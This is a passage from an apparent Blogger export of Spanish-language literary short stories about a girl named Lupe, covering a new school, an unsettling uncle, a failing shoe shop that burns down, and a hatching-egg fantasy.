<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">—Sí sabemos qué pasó, ¡fue Bernardo! ¡Fue Bernardo!</span></h3>
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Era la voz de Roxana. Vio que las piernas se estiraron, la silla voló hacia atrás. La prima golpeaba la mesa con los puños. En el asiento de al lado, las piernas largas de Guido sostenían los dos pies sobre el suelo. Tenía los cordones desatados. </span></h3>
<h3 dir="ltr" style="line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span></h3>
<br />
<br /></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5085640713730129677.post-50237137647399429622017-06-23T05:22:00.000-07:002021-02-17T11:07:06.176-08:00Los lápices<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="MsoNormalCxSpFirst" style="line-height: normal; text-align: justify;">
<b><span lang="EN-AU" style="background: white; font-family: "Times New Roman",serif; font-size: 12.0pt;"> </span></b><span lang="EN-AU" style="font-family: "Times New Roman",serif; font-size: 12.0pt;">Cuando Victoria se los pidió Lupe no dudó en prestárselos. En silencio sacó
uno a uno los lápices de colores de su cartuchera y los puso sobre la mesa. Los
veía rodar banco abajo y llegar a las manos chicas de Victoria. Primero el
verde, el amarillo, el rojo. El azul no, el azul se lo iba a quedar. <o:p></o:p></span></div>
<div class="MsoNormalCxSpMiddle" style="line-height: normal; text-align: justify;">
<span lang="EN-AU" style="font-family: "Times New Roman",serif; font-size: 12.0pt;"> Sonó el timbre y la clase de
dispersó: los varones corrieron al patio como una manada de caballos, algunas
de las chicas se levantaron de sus bancos y se sentaron alrededor de Sofía
Ganduglia, que contaba algo acerca de sus primos y los chicos del otro colegio.
El aula se llenó de ruidos. Lupe sacó su paquete de galletitas del bolsillo de
la mochila. Cuando levantó la vista, Victoria estaba parada frente al tacho de
basura sacándole punta al lapiz verde. Miguel siempre afilaba los lápices sobre
la mesa de la cocina con una navaja. Chac, chac, se escuchaba el ruido del filo
contra la madera, los restos finos de lápiz volando hacia el sueño. La navaja
filosa iba y venía. A Lupe nunca la dejaban sacarle punta a sus propios
lápices. Victoria, en cambio, los metía en su sacapuntas y ni miraba lo que
hacía; un largo rulo de madera iba cayendo adentro del tacho. <o:p></o:p></span></div>
<div class="MsoNormalCxSpMiddle" style="line-height: normal; text-align: justify;">
<span lang="EN-AU" style="font-family: "Times New Roman",serif; font-size: 12.0pt;"> Miss Mary salió de su oficina para
tocar el segundo timbre. Se asomó con la punta de los pies hasta el borde del
escalón que separaba el pasillo del patio y se detuvo. Bajó el pie derecho con
cuidado, asegurándose de apoyar la planta entera del pie sobre el cemento.
Agarrándose con ambas manos de la manija bajó el otro pie y con un envión que
casi la vuelca hacia atrás, cerró la puerta. Su paso era lento, los alumnus la
detenían con cualquier excusa. Sabrina la saludó con un beso, Joaquín Daels le
mostró un dibujo y Matías Pérez las cuentas que habían hecho ese día. Todos
querían lo mismo: alargar un poco más el recreo. Fue dejando estos obstáculos
atrás, pero antes de llegar al timbre se detuvo por su cuenta. Vio a Lupe
sentada en la esquina del cantero. <i>Después
del recreo vamos a hablar.<o:p></o:p></i></span></div>
<div class="MsoNormalCxSpMiddle" style="line-height: normal; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpMiddle" style="line-height: normal; text-align: justify;">
<span lang="EN-AU" style="font-family: "Times New Roman",serif; font-size: 12.0pt;"> Sobre el escritorio de madera en
medio de la oficina de Miss Mary había un colectivo inglés rojo en miniatura. Una
biblioteca cubría la pared del fondo y exhibía unos pocos libros en inglés, forrados
con plástico transparente, un gran trofeo color bronce sin brillo y, dispersos
y casi invisibles por el color marrón de las paredes, cinco ornitorrincos
embalsamados que había donado la abuela de uno de los alumnos al colegio. <o:p></o:p></span></div>
<div class="MsoNormalCxSpMiddle" style="line-height: normal; text-align: justify;">
<span lang="EN-AU" style="font-family: "Times New Roman",serif; font-size: 12.0pt;"> —You are Lupe, right? Si tuviera un
ojo por cada vez que tengo que decirle a una alumna que se suba las medias,
usted imagínese la cara que tendría.<o:p></o:p></span></div>
<div class="MsoNormalCxSpMiddle" style="line-height: normal; text-align: justify;">
<span lang="EN-AU" style="font-family: "Times New Roman",serif; font-size: 12.0pt;"> Lupe se subió las medias. Miss Mary
la miraba con sus grandes ojos azules y la boca rígida, le pidió que le contara
un poco sobre ella. Cada tanto tomaba notas en una libreta al alcance de su
mano. Lupe retorcía entre sus dedos el envoltorio vacío de sus galletitas. La
cara le ardía. </span><span lang="EN-US" style="font-family: "Times New Roman",serif; font-size: 12.0pt; mso-ansi-language: EN-US;"><o:p></o:p></span></div>
<div class="MsoNormalCxSpMiddle" style="line-height: normal; text-align: justify;">
<span lang="EN-AU" style="font-family: "Times New Roman",serif; font-size: 12.0pt;"> Llegaron a la oficina otras alumnas
nuevas como ella. Miss Mary les hablaba en inglés y Lupe miraba a Mariana que
se había parado justo al lado de uno de los ornitorrincos. La luz le daba
directo en los ojitos negros y parecía que la estuviera observando. Lupe
esperaba que el ornitorrinco guiñara los ojos y saltara sobre el nido de pelo
de Miss Mary. En cambio, fue hundiéndose poco a poco en la oscuridad del
estante hasta casi desaparecer. Entonces sus ojos negros dejaron de ser tan
simpáticos para Lupe y empezó a sentir los hilos de la oscura influencia del
animal dentro de la oficina. <o:p></o:p></span></div>
<div class="MsoNormalCxSpMiddle" style="line-height: normal; text-align: justify;">
<span lang="EN-AU" style="font-family: "Times New Roman",serif; font-size: 12.0pt;"> Terminó la tarde en el colegio y
Lupe y Camila tuvieron que esperar un largo rato sentadas en el patio a que las
vinieran a buscar. Un hombre sin pelo, con un pañuelo largo atado alrededor de
la cabeza, pantalones ajustados, botas de cuero y una amplia camisa de colores
llegó con una autorización, presentándose como el tío Osvaldo. Miss Mary lo
saludó con un beso en la mejilla y se despidió de las hermanas en inglés. <o:p></o:p></span></div>
<div class="MsoNormalCxSpMiddle" style="line-height: normal; text-align: justify;">
<span lang="EN-AU" style="font-family: "Times New Roman",serif; font-size: 12.0pt;"> Ninguna de las dos recordaba a
Osvaldo, les parecía un completo extraño que caminaba con los pies en punta
casi dando saltos. Se subieron los tres al auto de Miguel, ahora conducido por
el tío usurpador. Lupe se abrochó el cinturón y bajó el vidrio por las dudas.
Se acomodó para poder ver los ojos de Osvado a través del espejo retrovisor,
eran parecidos a los de Marisol. Manejaba con la mano firme agarrando la
palanca de cambios. En el dedo anular llevaba un anillo con una piedra verde.
Su pierna derecha temblaba sin parar como una máquina de nervios. Al doblar en
la esquina retumbaron tres golpes fuerte desde el baúl del auto. Lupe se
enderezó nerviosa. Un rayo de sol explotó sobre el diente de oro de Osvaldo.<o:p></o:p></span></div>
<div class="MsoNormalCxSpMiddle" style="line-height: normal; text-align: justify;">
<span lang="EN-AU" style="font-family: "Times New Roman",serif; font-size: 12.0pt;"> El tío buscó las llaves de la casa en
sus bolsillos de adelante. Lupe miraba en silencio el llavero con forma de
estrella que le colgaba del dedo. ¿Qué encontrarían tras la puerta? Entrar a
aquella casa que ahora era suya todavía le parecía algo extraño. Eran las habitaciones
y la vida de otros que ya no estaban ahí para defenderse. La luz de la ventana
conocía mejor los secretos del espacio que ella. Lupe sabía que ahí habían
vivido otras familias, otras hijas, y hasta un abuelo. Sabía que la casa
guardaba tantos secretos que le tomaría años imaginárselos todos, pero que
igual lo haría. Sabía, también, que su tío por ahora no vivía con ellos y que
no pertenecía en la casa. <o:p></o:p></span></div>
<div class="MsoNormalCxSpMiddle" style="line-height: normal; text-align: justify;">
<span lang="EN-AU" style="font-family: "Times New Roman",serif; font-size: 12.0pt;"> Osvaldo puso las tostadas sobre la
mesa, se sentó frente a la tele y cambió de canal. Lupe pasó de largo la cocina
y fue hasta la habitación. Se sentó en su cama y abrió el cajón de su mesita de
luz. Como un arqueólogo con los restos frágiles de un fósil, sacó con
delicadeza un sobre con su nombre escrito en tinta negra. Buscó adentro y no
había nada. Habían desaparecido todas sus cartas. Revisó los cajones, abrió
cada placar y cada bolsillo de sus sacos, nada. Cuando hubo revisado todo lo
que llegaba a sus ojos, se entregó al mundo invisible. Con apuro y valor buscó
debajo de su cama y la de Camila. La invadió la sensación de que alguien había
estado ahí, sentado en esa misma cama, leyendo sus palabras secretas. <o:p></o:p></span></div>
<div class="MsoNormalCxSpMiddle" style="line-height: normal; text-align: justify;">
<span lang="EN-AU" style="font-family: "Times New Roman",serif; font-size: 12.0pt;"> Se sacó los zapatos y después todo
el uniforme del San Mateo, se metió en las sábanas. Con los ojos cerrados
volvía a existir la nieve amontonándose sobre la ventana. Lupe no podía
imaginar que las cosas sólo dejaran de ser. ¿Y el ruido del baúl? Salió
corriendo de su habitación hasta la de sus padres, se agachó y buscó debajo de
la cama: sólo cajas en la oscuridad. <o:p></o:p></span></div>
<div class="MsoNormalCxSpMiddle" style="line-height: normal; text-align: justify;">
<span lang="EN-AU" style="font-family: "Times New Roman",serif; font-size: 12.0pt;"> —¡Está la merienda! ¡Nena! —gritó
Osvaldo desde el principio de las escaleras.<o:p></o:p></span></div>
<div class="MsoNormalCxSpMiddle" style="line-height: normal; text-align: justify;">
<span lang="EN-AU" style="font-family: "Times New Roman",serif; font-size: 12.0pt;"> ¿Cómo iba a gritar así si no estaba
en su propia casa? Cuando Lupe entró a la cocina, el tío seguía sentado en la
silla frente a la tele y Camila dibujaba acostada boca abajo en el piso. Osvaldo
se sacó un moco de la nariz y lo pegó debajo del asiento de su silla, su pierna
seguía rebotando nerviosa. Estaba tan absorto en lo suyo que se había olvidado
de la existencia de Lupe. <o:p></o:p></span></div>
<div class="MsoNormalCxSpMiddle" style="line-height: normal; text-align: justify;">
<br /></div>
<div class="MsoNormalCxSpMiddle" style="line-height: normal; text-align: justify;">
<span lang="EN-AU" style="font-family: "Times New Roman",serif; font-size: 12.0pt;"> Se despertó en medio de la noche, Camila
dormía en la cama de al lado. Todo estaba en silencio salvo el ruido de los
grillos y algún auto que se escuchaba pasar a lo lejos. Sacó el brazo de la
cama y con cuidado abrió el cajón de la mesita de luz. Buscó de nuevo el sobre con
su nombre y lo dio vuelta sobre la almohada. Las cartas no habían vuelto. Lupe
se sentó sobre su cama, decidida a escribirlas de nuevo. La trenza de su pelo
estaba deshaciéndose, con ambas manos se tiró toda la cabellera hacia atrás.
Con el lápiz negro entre los dedos fue hasta el centro de la primera página y
escribió con letra desprolija: <i>las cartas
de luc</i>. Cuando iba a recorrer la curva de la “i”, Lupe apretó demasiado el
lápiz contra el papel y la punta negra se partió al medio. La mano cayó sobre
el cuaderno. La imagen de Victoria sacándole punta a sus lápices le vino rápido
a la cabeza. Luego, el chac, chac de la navaja del padre. La guardaba en el
cajón de la cocina. Bajó la escalera
raspando los pies contra la vieja alfombra. Hacia la mitad de los escalones
supo que la sombra andaba por la casa, que la seguía por la espalda. En el
living estaba la tele encendida con el volumen bajo y Osvaldo dormía en un
sillón con la boca abierta y la mano dentro del pantalón. Lupe se acercó y lo
miró bien para asegurarse que estuviera durmiendo. La luz del televisor
iluminaba una pequeña parte de la oscuridad con colores brillantes. Osvaldo no
se movió. <o:p></o:p></span></div>
<br />
<div class="MsoNormalCxSpMiddle" style="line-height: normal; text-align: justify;">
<span lang="EN-AU" style="font-family: "Times New Roman",serif; font-size: 12.0pt;"> Sentada sobre su cama con la navaja
en la mano, le sacó punta a sus lápices de colores uno a uno. Cuando terminó
tenía un corte en el dedo índice. Un punto de sangre se arrimaba. Apoyó la
navaja debajo de la almohada, una minúscula mancha roja creció como un lago
sobre la tela. Apagó la luz y se quedó un rato pensando en cuál sería la manera
más fácil de salir de la casa. <o:p></o:p></span></div>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5085640713730129677.post-7787966529684472912017-05-15T11:05:00.002-07:002021-02-17T11:07:06.214-08:00<iframe width="560" height="315" src="https://www.youtube.com/embed/ZK080yIHgi0" frameborder="0" allowfullscreen></iframe>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5085640713730129677.post-78304060230341488322017-05-15T11:04:00.002-07:002021-02-17T11:07:06.251-08:00ni un zapato<div dir="ltr" style="text-align: left;" trbidi="on">
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Lo que menos le gustaba
del invierno eran las orejeras rojas que la obligaban a usar. No las quería
tocar ni con la punta de los dedos porque la felpa, al contrario de lo
esperado, era áspera y le daba escalofríos. Entonces se le retorcía la lengua
adentro de la boca, tocándole la parte de atrás de todos los dientes. Fue así
que descubrió su primer diente flojo una tarde mientras se sacaba las orejeras
y la campera de plumas en la zapatería. Revisando su dentadura se acercó a la
estufa para calentarse las manos.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Cuando Marisol atendía,
Lupe aprovechaba para hacer cosas prohibidas: caminaba con el cuerpo pegado a
la vidriera. El vidrio estaba empañado y le gustaba apoyar el dedo índice y
arrastrarlo de punta a punta haciendo dibujos. <i>Un rinocergato</i>. Solo a través de las líneas dibujadas sobre la
humedad, Lupe podía ver hacia afuera. Su reflejo en la nieve blanca le devolvía
la atención. En el fondo sonaba una y otra vez la campana de la puerta, los
zapatos eran un éxito. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> -Te digo la verdad,
ahora que lo veo de nuevo no estoy muy segura – escuchó que le decía una señora
a la otra. En silencio, una chica sostenía un zapato de raso rojo y lo
examinaba como si fuera un frasco de aceitunas. Lo volvió a acomodar sobre el
estante y se fue. Lupe se distrajo de su propio juego para mirarla alejarse de
la zapatería, siguiendo el paso de sus piernas con un amplio movimiento de
brazos. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Marisol cerró la puerta
con llave antes de abrir la caja. Lupe recordó el robo de los cien dólares y le
dio vergüenza. Había sido un error de principiante haber querido invertirlos en
el kiosco de la escuela. Claro que llamarían a alguien. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> -¿Cuántos zapatos
vendimos hoy?<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> -Ninguno- respondió
Marisol mientras contaba los billetes de australes. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> La dejó ir a la casa de
la tía Marta con la condición de que se pusiera las orejeras para salir. Lupe
caminó por la avenida San Martín, las manos en los bolsillos y la lengua
empujándole de a poco el diente flojo.<i>
Ningún zapato, ni un zapato</i>. Se dio vuelta para volver a mirar a la puerta
del local, a las mujeres que salían sin bolsa o pasaban por la vidriera sin
mirar. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> La casa de la tía tenía
olor a jazmines creciendo en la madera. Roxana la esperaba mirando la tele en
la cocina, hicieron tostadas con manteca y azúcar. La tía estaba trabajando en
la librería, así que pudieron sentarse a comer en el sillón mientras miraban la
tele. A Lupe le parecía que Roxana se estaba poniendo redonda, pero Marisol le
había dicho que eso pasaba cuando uno comía demasiada manteca. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Hubo un ruido en la
puerta y después pasos en la escalera. Guido volvía de futbol, entró con la
cara iluminada por su sonrisa. Saludó a Lupe con un beso en la frente y se fue
a bañar. Ella ya no pudo estar de la misma manera en el sillón con Roxana, sino
todo el tiempo esperando que su primo volviera a aparecer. Cualquier ruido
cerca del pasillo bastaba para que ella girara a mirar.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Guido volvió un rato
después. La película ya había terminado así que la invitó a Lupe a ir al
almacén con él. Saludaron a Roxana y bajaron juntos las escaleras. Dormido
sobre uno de los últimos peldaños estaba Nahuel, la cabeza hundida entre sus
patas delanteras de bóxer. Como les estaba cortando el paso, Guido lo despertó
tirándole de las orejas. Ella lo quiso abrazar y pedirle que la llevara en brazos
pero qué iba a pensar él, no podía perder a su mejor amigo.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Cuando doblaron en la
esquina, Guido hizo un ruido asqueroso con la garganta y escupió sus mocos con
fuerza y lejos. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> -¿Está bien escupir?<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> -No tiene nada de malo.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> -¿Yo puedo escupir?<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> -No sé, las mujeres…no
sé.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Cuando pensaba en las
mujeres, Lupe pensaba en las señoras que iban a la zapatería, como aquella que
sostenía el zapato rojo, altas, siempre un poco nerviosas. Se preguntó si ellas
escupían o no. Después pensó que debería tomar una decisión sobre qué haría
ella misma, pero tampoco estaba apurada.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Guido saludó al librero
y le pidió si podía fiar una resma de hojas. Mientras esperaban, él jugaba con
una Boligoma sobre el mostrador. La hacía girar entre sus dedos, la tapa
amarilla para arriba, la tapa amarilla para abajo. A Lupe le encantaba llenarse
la palma de la mano con Boligoma y esperar a que se secara para arrancárselo
lentamente como si fuera una capa de piel.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> El librero abrió un
viejo y ancho cuaderno lleno de cosas, y buscó entre las páginas. Llegó a una
encabezada por el nombre de Guido seguido de una larga lista de números. Abajó del
último trazó un grueso y tembloroso dos.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> </span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Lupe se despertó con el
diente suelto adentro de la boca. Su propia saliva tenía sabor a metal. La
clase de danza era temprano así que no tuvo tiempo de escribir su carta. En
secreto decidió que ni ella ni Camila irían a clase. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> En el primer piso del
edificio había una confitería donde mucha gente venía a buscar refugio del frío
en una taza de café o de chocolate caliente. La abuela Celia la había invitado
a la confitería varias veces y ella podía elegir el tostado con jugo de naranja
o cualquier cosa que quisiera sin recibir la opinión de nadie. El salón de
danza quedaba al lado.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Miguel despidió a Lupe y
Camila en la entrada del edificio, donde la nieve amarronada se acumulaba en
las esquinas. Una vez que el auto dobló por la avenida y se perdió entre las
fachadas de los edificios, las chicas corrieron calle abajo y entraron por la
salida de emergencia. Los tules azules rebotaban con ellas mientras subían las
escaleras, rodetes redondos en la cabeza, los zapatitos rosas que apenas hacían
ruido contra el cemento.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Se sentaron en el
descanso a escribir la carta, Lupe traía todo lo necesario en su mochila. Arrancó
una hoja de su anotador y prosiguió a escribir con su birome negra de Pluto.
Había traído un libro de Marisol para usar de apoyo. <i>El amanecer de los brujos</i>. Planeaba escribir una carta pidiendo
todo lo posible por su diente. Dibujó un nueve y lo siguió de la página repleta
de ceros y un final de signo de dólar. Cuando
terminó le dolía la mano. Puso su diente en el medio de la hoja y la doblo
hasta convertirla en un pequeño rectángulo que se metió en el bolsillo.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> A la noche puso la carta
debajo de su almohada. Se recostó sobre la cama armada. Por la ventana entraba
la luz de la luna y las sombras de una lenga meciéndose de acá para allá. Pensó
que ahora Marisol no tendría que estar todo el día encerrada sin vender ni un
zapato, que podrían irse al campo a caminar sobre la nieve, que ella tampoco
tendría que ir a la escuela ni a danza, que le compraría a Guido una resma de
hojas y le pagaría todas sus deudas con el librero. Recorrió toda su dentadura
con la lengua y exploró el agujero que le había dejado el diente ausente. La encía era blanda y suave. Marisol entró a
la habitación a los gritos. <i>¡Ponete los
zapatos, ponete los zapatos!</i><o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Camila ya estaba sentada
en el auto envuelta en su manta azul. Miguel al volante tenía el motor en
marcha. Tocaba bocina una y otra vez. Marisol empujó a Lupe por la espalda para
que fuera más rápido, la nieve le mojó el pantalón del pijama pero recién lo
sintió cuando entró al auto y empezaron a andar.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Llegando al centro había
más y más personas en la calle, varios iban como ella, de pijama y campera. Se
juntaban en grupos en las esquinas, conversaban con gestos de asombro. El olor
a quemado llegó hasta el auto. El limpiaparabrisas se movía rápido, arrastrando
los copos de nieve que empezaban a caer. En la avenida San Martín escucharon
los primeros gritos y sirenas.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Cuando llegaron ya
nevaba con fuerza. Las llamas ardían por encima del techo de la zapatería y se
mezclaban en el cielo con los copos de nieve. La vidriera estaba destruida y
por debajo del techo solo quedaban cuatro vigas carbonizadas que a duras penas
sostenían la estructura. El humo negro cubría la cuadra entera y olía a
plástico y cuero quemado. La gente empezó a agruparse alrededor del incendio,
algunos caminaban desorbitados gritando el nombre de sus familiares o sus
mascotas. Otros paseaban tranquilos, como si no hubiera nada que hacer.<o:p></o:p></span></h3>
<br />
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Lupe se movía entre las
personas en los brazos de Marisol. Sus piernas le rodeaban la cintura. Iban
dejando atrás caras de pánico y de sueño. Aprovechando el apuro se sacó las
orejeras de la cabeza y las dejó caer al suelo. La despedida no le dio
escalofríos. Cerca del fuego todo se movía a una velocidad acelerada. Marisol
la dejó en el piso y la agarró de la mano. Observaron por un minuto las llamas
rojas que ardían sobre el cielo estrellado y llegaban a reflejarse en la bahía.
Lupe sintió una soga rasposa que empezó a apretarle el cuello: sabía que su
plan no había hecho más que atraer a la desgracia y que ahora sí que no quedaba
ni un zapato para vender. <o:p></o:p></span></h3>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5085640713730129677.post-64535218967253972272017-05-14T02:57:00.002-07:002021-02-17T11:07:06.290-08:00el casamiento<div dir="ltr" style="text-align: left;" trbidi="on">
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;">Como todas esas veces en que algo era particularmente para ella, Lupe
estaba fascinada con la media docena de huevos. Abría la heladera cada cinco
minutos para cerciorarse de que siguieran ahí, en la esquina del estante,
esperando a ser llevados a la escuela el lunes. Los amaba porque eran suyos.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> El domingo tuvo que
empezar a buscar los momentos de soledad para abrir la heladera porque Miguel
la había descubierto y le había prohibido volver a hacerlo. Decía que así se
iba todo el frío. Todo el <i>frío</i>. Lupe
miraba a través del vidrio congelado de la ventana de la cocina, la casa de
nieve del otro lado. El auto de nieve, las veredas de nieve. El frío de la
heladera le daba risa. Sacó la huevera y se la escondió debajo del camisón.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Encerrada en su
habitación, desplegó los seis huevos sobre la cama. Sostuvo uno con firmeza
entre sus dedos, lo acercó a su ojo izquierdo para ver el recorrido de las
arrugas de la cáscara. Al darlo vuelta le encontró una mancha marrón cubierta
con algunas plumas. Se la llevó a la nariz. Definitivamente era caca, Lupe lo
supo de inmediato: adentro crecía un pollito. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
<span style="font-size: 12pt; font-weight: normal;"> Por suerte era domingo y
pudo darle a su empresa el tiempo que precisaba. Juntó ramas, hojas y tierra,
la toalla con la que Marisol se teñía el pelo y una lámpara de su mesita de
luz. Construyó el nido en el estante más alto de la casa, encima del mueble de
madera del living. Palmiro no llegaría nunca hasta ahí. Encendió la lámpara
bien cerca para que pareciera el sol. Al otro lado del nido sentó a su muñeca
sin pelo con un cartel colgado del cuello. <i>Peligro,
no tocar. </i><o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 3.6pt; text-align: justify;">
